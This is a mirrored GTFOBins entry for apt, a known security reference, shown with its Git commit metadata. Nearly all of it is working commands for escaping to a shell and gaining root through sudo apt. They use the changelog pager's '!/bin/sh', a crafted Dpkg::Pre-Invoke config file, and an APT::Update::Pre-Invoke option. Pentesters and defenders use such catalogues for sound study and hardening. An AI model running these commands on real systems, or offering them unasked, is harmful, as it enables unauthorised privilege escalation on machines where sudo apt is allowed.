1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/apt.md
Vicente Jimenez Aguilar 04b2874819 Correct apt invocations
Correct two invocations incorrectly writed as apt-get.
Both commands have similar options and behaviours.
2021-10-14 10:31:39 +02:00

21 lines
774 B
Markdown

---
functions:
shell:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
apt changelog apt
!/bin/sh
sudo:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo apt changelog apt
!/bin/sh
- description: For this to work the target package (e.g., `sl`) must not be installed.
code: |
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
---